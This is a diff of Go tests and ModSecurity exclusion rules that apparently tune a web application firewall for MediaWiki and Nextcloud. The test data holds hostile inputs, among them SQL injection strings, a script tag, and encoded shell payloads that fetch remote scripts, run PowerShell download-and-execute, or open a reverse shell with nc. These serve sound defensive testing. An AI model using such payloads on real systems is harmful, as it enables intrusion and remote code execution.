|
||||||
|
}
|
||||||
|
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
|
||||||
|
if got.Score >= mediawikiThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s on %s refused: %+v",
|
||||||
|
r.target,
|
||||||
|
body,
|
||||||
|
otherHost,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
|
||||||
|
if got.Score < mediawikiThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s on %s let through: %+v",
|
||||||
|
r.target,
|
||||||
|
body,
|
||||||
|
giteaHost,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := shared(t, coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
|
Apps: map[string][]string{
|
||||||
|
giteaHost: {gitea},
|
||||||
|
otherHost: {mediawiki},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
// Passwords that only the phase 2 rules 900919 and 900920 let through,
|
||||||
|
// each sent with the authAction of its form.
|
||||||
|
for _, sent := range []struct{ target, body string }{
|
||||||
|
{
|
||||||
|
mediawikiAccountChange,
|
||||||
|
formBody("authAction", "change") + "&" + formBody(passwordKey, "' OR '1'='1"),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
mediawikiSignUp,
|
||||||
|
formBody("authAction", "create") + "&" + formBody(retypeKey, "' OR '1'='1"),
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, withHost(r, otherHost), sent.body)
|
||||||
|
if got.Score >= mediawikiThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s on %s refused: %+v",
|
||||||
|
r.target,
|
||||||
|
sent.body,
|
||||||
|
otherHost,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
got, _ = inspectBody(t, crs, withHost(r, giteaHost), sent.body)
|
||||||
|
if got.Score < mediawikiThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s on %s let through: %+v",
|
||||||
|
r.target,
|
||||||
|
sent.body,
|
||||||
|
giteaHost,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||||
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||||
|
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
||||||
|
// each in the query, on a path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var mediawikiQueryFields = []string{
|
var mediawikiQueryFields = []string{
|
||||||
@@ -76,14 +195,26 @@ var mediawikiQueryFields = []string{
|
|||||||
"/api.php?action=query&list=search&srsearch=",
|
"/api.php?action=query&list=search&srsearch=",
|
||||||
"/api.php?action=query&list=prefixsearch&pssearch=",
|
"/api.php?action=query&list=prefixsearch&pssearch=",
|
||||||
"/api.php?action=query&generator=prefixsearch&gpssearch=",
|
"/api.php?action=query&generator=prefixsearch&gpssearch=",
|
||||||
|
"/api.php?action=query&generator=search&gsrsearch=",
|
||||||
"/api.php?action=query&titles=",
|
"/api.php?action=query&titles=",
|
||||||
"/api.php?action=parse&page=",
|
"/api.php?action=parse&page=",
|
||||||
"/api.php?action=query&list=allpages&apfrom=",
|
"/api.php?action=query&list=allpages&apfrom=",
|
||||||
|
"/api.php?action=query&list=allpages&apto=",
|
||||||
"/api.php?action=query&list=allpages&apprefix=",
|
"/api.php?action=query&list=allpages&apprefix=",
|
||||||
|
"/api.php?action=query&generator=allpages&gapfrom=",
|
||||||
|
"/api.php?action=query&generator=allpages&gapto=",
|
||||||
|
"/api.php?action=query&generator=allpages&gapprefix=",
|
||||||
|
"/api.php?action=query&generator=allimages&gaifrom=",
|
||||||
|
"/api.php?action=query&generator=allimages&gaiprefix=",
|
||||||
|
"/api.php?action=query&list=allimages&aifrom=",
|
||||||
"/api.php?action=query&list=allimages&aiprefix=",
|
"/api.php?action=query&list=allimages&aiprefix=",
|
||||||
|
"/api.php?action=query&list=allusers&aufrom=",
|
||||||
"/api.php?action=query&list=allusers&auprefix=",
|
"/api.php?action=query&list=allusers&auprefix=",
|
||||||
"/api.php?action=query&list=backlinks&bltitle=",
|
"/api.php?action=query&list=backlinks&bltitle=",
|
||||||
|
"/api.php?action=query&generator=backlinks&gbltitle=",
|
||||||
"/api.php?action=query&list=exturlusage&euquery=",
|
"/api.php?action=query&list=exturlusage&euquery=",
|
||||||
|
"/api.php?action=query&generator=exturlusage&geuquery=",
|
||||||
|
"/api.php?action=query&list=logevents&letitle=",
|
||||||
"/api.php?action=query&list=usercontribs&ucuser=",
|
"/api.php?action=query&list=usercontribs&ucuser=",
|
||||||
"/api.php?action=query&list=blocks&bkusers=",
|
"/api.php?action=query&list=blocks&bkusers=",
|
||||||
"/w/api.php?action=opensearch&search=",
|
"/w/api.php?action=opensearch&search=",
|
||||||
@@ -121,8 +252,10 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|||||||
// mediawikiBodyField is a field of a form data body, sent to a path.
|
// mediawikiBodyField is a field of a form data body, sent to a path.
|
||||||
type mediawikiBodyField struct{ target, field string }
|
type mediawikiBodyField struct{ target, field string }
|
||||||
|
|
||||||
// mediawikiBodyFields are a field of each exclusion of a body field, other
|
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||||
// than those that hold wikitext, on a path it applies to.
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||||
|
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
|
||||||
|
// each in a form data body, on a path where it skips them.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var mediawikiBodyFields = []mediawikiBodyField{
|
var mediawikiBodyFields = []mediawikiBodyField{
|
||||||
@@ -130,15 +263,14 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
|||||||
{mediawikiUpload, "wpUploadDescription="},
|
{mediawikiUpload, "wpUploadDescription="},
|
||||||
{mediawikiUpload, "wpDestFile="},
|
{mediawikiUpload, "wpDestFile="},
|
||||||
{mediawikiSignIn, "wpName="},
|
{mediawikiSignIn, "wpName="},
|
||||||
{mediawikiSignIn, "wpPassword="},
|
|
||||||
{mediawikiMove, "wpOldTitle="},
|
{mediawikiMove, "wpOldTitle="},
|
||||||
{mediawikiMove, "wpNewTitleMain="},
|
{mediawikiMove, "wpNewTitleMain="},
|
||||||
{mediawikiMove, "wpReason="},
|
{mediawikiMove, "wpReason="},
|
||||||
{mediawikiBlock, "wpTarget="},
|
{mediawikiBlock, "wpTarget="},
|
||||||
{mediawikiSignInPage, "wpName="},
|
{mediawikiSignInPage, "wpName="},
|
||||||
{"/w" + mediawikiSignInPage, "wpPassword="},
|
|
||||||
{mediawikiUploadPage, "wpDestFile="},
|
{mediawikiUploadPage, "wpDestFile="},
|
||||||
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
||||||
|
{mediawikiAPI, "title="},
|
||||||
{mediawikiAPI, "from="},
|
{mediawikiAPI, "from="},
|
||||||
{mediawikiAPI, "to="},
|
{mediawikiAPI, "to="},
|
||||||
{mediawikiAPI, "summary="},
|
{mediawikiAPI, "summary="},
|
||||||
@@ -147,8 +279,20 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
|||||||
{mediawikiAPI, "comment="},
|
{mediawikiAPI, "comment="},
|
||||||
{mediawikiAPI, "reason="},
|
{mediawikiAPI, "reason="},
|
||||||
{mediawikiAPI, "user="},
|
{mediawikiAPI, "user="},
|
||||||
|
{mediawikiAPI, "lgname="},
|
||||||
|
{mediawikiAPI, "username="},
|
||||||
|
}
|
||||||
|
|
||||||
|
// mediawikiPasswordFields are the passwords, which skip the four rules and the
|
||||||
|
// rules that random passwords set off. mediawikiPasswordFields sends each in a
|
||||||
|
// form data body, on a path where it skips them.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mediawikiPasswordFields = []mediawikiBodyField{
|
||||||
|
{mediawikiSignIn, "wpPassword="},
|
||||||
|
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||||
{mediawikiAPI, "lgpassword="},
|
{mediawikiAPI, "lgpassword="},
|
||||||
{mediawikiAPI, "password="},
|
{mediawikiAPI, passwordField},
|
||||||
}
|
}
|
||||||
|
|
||||||
// mediawikiReasonFields are the reasons on the admin pages, which skip only
|
// mediawikiReasonFields are the reasons on the admin pages, which skip only
|
||||||
@@ -161,6 +305,14 @@ var mediawikiReasonFields = []mediawikiBodyField{
|
|||||||
{mediawikiProtect, "mwProtect-reason="},
|
{mediawikiProtect, "mwProtect-reason="},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
|
||||||
|
// list of titles in, one per line.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||||
|
var mediawikiWatchlist = mediawikiBodyField{
|
||||||
|
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
|
||||||
|
}
|
||||||
|
|
||||||
// mediawikiWikitextFields are the form data fields that hold wikitext.
|
// mediawikiWikitextFields are the form data fields that hold wikitext.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
@@ -177,7 +329,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
||||||
mediawikiReasonFields)
|
mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
|
||||||
|
|
||||||
for _, attack := range mediawikiAttacks {
|
for _, attack := range mediawikiAttacks {
|
||||||
for _, sent := range fields {
|
for _, sent := range fields {
|
||||||
@@ -185,17 +337,27 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
|
t.Errorf(
|
||||||
|
"POST %s %s%s let through: %+v",
|
||||||
|
sent.target,
|
||||||
|
sent.field,
|
||||||
|
attack,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
`1' OR '1'='1`,
|
injection,
|
||||||
`<script>alert(1)</script>`,
|
scriptTag,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{"source", "comment"} {
|
for _, field := range []string{"source", "comment"} {
|
||||||
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
r := request{
|
||||||
|
http.MethodPut,
|
||||||
|
mediawikiRESTPage,
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
body := `{"` + field + `":"` + attack + `"}`
|
body := `{"` + field + `":"` + attack + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -206,6 +368,126 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// The form that changes a password posts to this subpage.
|
||||||
|
const subpage = "/MediaWiki%5CAuth%5CPasswordAuthenticationRequest"
|
||||||
|
|
||||||
|
// The forms send authAction in the body, and MediaWiki reads it from the
|
||||||
|
// query too. These requests send it in the query, so that the body holds
|
||||||
|
// only the passwords. The recorded requests send it in the body.
|
||||||
|
const (
|
||||||
|
create = "authAction=create"
|
||||||
|
loginContinue = "authAction=login-continue"
|
||||||
|
changeAction = "authAction=change"
|
||||||
|
)
|
||||||
|
|
||||||
|
change := []string{passwordKey, retypeKey}
|
||||||
|
retype := []string{retypeKey}
|
||||||
|
|
||||||
|
wantPasswordFieldsPass(t, []passwordFields{
|
||||||
|
{mediawikiSignUp + "?" + create, formData, retype},
|
||||||
|
{"/index.php/Special:CreateAccount?" + create, formData, retype},
|
||||||
|
{
|
||||||
|
"/index.php?title=Special:CreateAccount&returnto=Main_Page&" + create,
|
||||||
|
formData, retype,
|
||||||
|
},
|
||||||
|
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
|
||||||
|
{mediawikiSignIn + "&" + loginContinue, formData, retype},
|
||||||
|
{mediawikiAccountChange + "?" + changeAction, formData, change},
|
||||||
|
{
|
||||||
|
mediawikiAccountChange + subpage + "?" + changeAction,
|
||||||
|
formData,
|
||||||
|
change,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"/index.php/Special:ChangeCredentials?" + changeAction,
|
||||||
|
formData,
|
||||||
|
change,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
|
||||||
|
formData, change,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
|
||||||
|
formData,
|
||||||
|
change,
|
||||||
|
},
|
||||||
|
// A German wiki's names for the same pages.
|
||||||
|
{
|
||||||
|
"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
|
||||||
|
formData,
|
||||||
|
retype,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
|
||||||
|
formData, retype,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"/wiki/Spezial:Anmeldeinformationen_%C3%A4ndern" + subpage + "?" + changeAction,
|
||||||
|
formData, change,
|
||||||
|
},
|
||||||
|
{mediawikiAPI, formData, retype},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Other apps use the names password and retype too. So these fields keep every
|
||||||
|
// rule unless the page is MediaWiki's, its title has a namespace, and
|
||||||
|
// authAction names a form that sends the field.
|
||||||
|
func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const appPath = "/index.php/apps/mail/api/accounts"
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
for _, sent := range []struct{ target, name string }{
|
||||||
|
{appPath, passwordKey},
|
||||||
|
{appPath + "?authAction=create", retypeKey},
|
||||||
|
{appPath + "?title=Special:ChangeCredentials&authAction=change", passwordKey},
|
||||||
|
{appPath + "?title=Special:CreateAccount&authAction=create", retypeKey},
|
||||||
|
{"/index.php?title=Main_Page&authAction=change", passwordKey},
|
||||||
|
{"/index.php/Main_Page?authAction=create", retypeKey},
|
||||||
|
{"/wiki/Main_Page?authAction=change", passwordKey},
|
||||||
|
{mediawikiAccountChange, passwordKey},
|
||||||
|
{mediawikiAccountChange + "?authAction=login", passwordKey},
|
||||||
|
{mediawikiSignUp + "?authAction=create", passwordKey},
|
||||||
|
{"/index.php?title=Special:CreateAccount&authAction=create", passwordKey},
|
||||||
|
{"/index.php/Spezial:Anmelden?authAction=login", retypeKey},
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|
||||||
|
body := formBody(sent.name, "' OR '1'='1")
|
||||||
|
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s let through: %+v",
|
||||||
|
sent.target,
|
||||||
|
sent.name,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMediaWikiPasswordsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, sent := range mediawikiPasswordFields {
|
||||||
|
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
name := strings.TrimSuffix(sent.field, "=")
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, name)
|
||||||
|
wantPasswordAttacksPass(t, r, name)
|
||||||
|
wantPasswordAttacksRefused(t, r, name)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
||||||
// fields that skip the other command rules, as a query value.
|
// fields that skip the other command rules, as a query value.
|
||||||
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||||
@@ -215,7 +497,11 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
for _, target := range mediawikiQueryFields {
|
targets := append(
|
||||||
|
[]string{"/load.php?modules="},
|
||||||
|
mediawikiQueryFields...)
|
||||||
|
|
||||||
|
for _, target := range targets {
|
||||||
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
t.Errorf("%s let through: %+v", target, got)
|
t.Errorf("%s let through: %+v", target, got)
|
||||||
@@ -224,12 +510,18 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
crs = readingBodies(t)
|
crs = readingBodies(t)
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
|
||||||
|
mediawikiPasswordFields) {
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
|
t.Errorf(
|
||||||
|
"POST %s %s let through: %+v",
|
||||||
|
sent.target,
|
||||||
|
sent.field,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -240,6 +532,38 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
||||||
|
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
||||||
|
// it once.
|
||||||
|
r = request{
|
||||||
|
http.MethodPost,
|
||||||
|
mediawikiWatchlist.target,
|
||||||
|
[]string{formData},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, attack := range []string{
|
||||||
|
mediawikiCommandAttack,
|
||||||
|
"Example%0D%0A" + mediawikiCommandAttack,
|
||||||
|
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
|
||||||
|
"Example%0D%0A%24%28id%29",
|
||||||
|
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
|
||||||
|
"%3B%20sh%20-i",
|
||||||
|
"%26%26%20sh%20-i",
|
||||||
|
"%7C%7C%20sh%20-i",
|
||||||
|
"%60sh%20-i%60",
|
||||||
|
"%3B%20ls%20-la%20%2F",
|
||||||
|
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
|
||||||
|
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
|
||||||
|
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
|
||||||
|
} {
|
||||||
|
body := mediawikiWatchlist.field + attack
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
|
if got.Score < mediawikiThreshold {
|
||||||
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||||
@@ -254,15 +578,21 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
||||||
mediawikiWikitextFields...)
|
mediawikiPasswordFields)
|
||||||
|
|
||||||
for _, sent := range fields {
|
for _, sent := range fields {
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||||
if got.Score >= mediawikiThreshold {
|
if got.Score >= mediawikiThreshold {
|
||||||
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
t.Errorf(
|
||||||
|
"POST %s %s%s refused: %+v",
|
||||||
|
sent.target,
|
||||||
|
sent.field,
|
||||||
|
value,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -276,6 +606,18 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
|
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// A watchlist holds the title on its second line, as recorded.
|
||||||
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
mediawikiWatchlist.target,
|
||||||
|
[]string{formData},
|
||||||
|
}
|
||||||
|
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
||||||
|
|
||||||
|
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
||||||
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -340,9 +682,14 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
{mediawikiEdit, "wpSummary=python3"},
|
{mediawikiEdit, "wpSummary=python3"},
|
||||||
{mediawikiSignIn, "wpPassword=python3"},
|
{mediawikiSignIn, "wpPassword=python3"},
|
||||||
{mediawikiProtect, "mwProtect-reason=.htaccess"},
|
{mediawikiProtect, "mwProtect-reason=.htaccess"},
|
||||||
|
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
||||||
{mediawikiAPI + "?action=edit", "text=python3"},
|
{mediawikiAPI + "?action=edit", "text=python3"},
|
||||||
} {
|
} {
|
||||||
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
sent.target + "&" + sent.field,
|
||||||
|
[]string{formData},
|
||||||
|
}
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field)
|
got, _ := inspectBody(t, crs, r, sent.field)
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
|
|||||||
@@ -0,0 +1,454 @@
|
|||||||
|
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
|
||||||
|
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
||||||
|
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
||||||
|
# a document's text. Each exclusion runs with the request, before the rules it
|
||||||
|
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
||||||
|
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
||||||
|
# applies only when the query has no parameter of that name, so it matters only
|
||||||
|
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
|
||||||
|
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
|
||||||
|
#
|
||||||
|
# Four rules read a search or a name as a command or a system file:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: powershell
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3
|
||||||
|
# Each exclusion below removes these four from its fields.
|
||||||
|
#
|
||||||
|
# A comment, a share's note and an account's status hold sentences a person
|
||||||
|
# writes. Four more rules refused ordinary sentences there:
|
||||||
|
# 932125: It is fixed; diff attached
|
||||||
|
# 932230: Run python3 or powershell; ls -la shows .htaccess
|
||||||
|
# 932235: We need more time; find the old notes first
|
||||||
|
# 932380: Tested on Windows; powershell works
|
||||||
|
# The text of a document holds such sentences too, and code blocks. Two more
|
||||||
|
# rules refused a shell script in a code block:
|
||||||
|
# 932160: #!/bin/bash
|
||||||
|
# 932370: ```bash, which starts the code block
|
||||||
|
# These fields skip the rules that refused them. So a shell command such as
|
||||||
|
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
||||||
|
# injection, path traversal and script injection are still refused there.
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_nextcloud. It sets
|
||||||
|
# it while SWW_APPS is unset, or lists nextcloud for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_nextcloud itself.
|
||||||
|
SecRule &TX:app_nextcloud "@eq 0" \
|
||||||
|
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
|
||||||
|
|
||||||
|
# The sync client and the Files app use these WebDAV methods besides those
|
||||||
|
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
||||||
|
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
||||||
|
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
|
||||||
|
# MKCOL: making a folder, and starting a chunked upload
|
||||||
|
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
|
||||||
|
# REPORT: listing favourites and comments
|
||||||
|
# SEARCH: the Files app's search
|
||||||
|
# LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
||||||
|
"id:900100,phase:1,pass,nolog,\
|
||||||
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
|
||||||
|
|
||||||
|
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
|
||||||
|
# which every request sends, on every path. Each request of the account
|
||||||
|
# python3 was refused.
|
||||||
|
SecAction "id:900101,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
|
||||||
|
|
||||||
|
# Signing in, in the query or the body:
|
||||||
|
# user, password: user=python3&password=Example-pass-python3
|
||||||
|
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||||
|
"id:900102,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
||||||
|
|
||||||
|
# The password, in the body, skips each rule that random passwords set off.
|
||||||
|
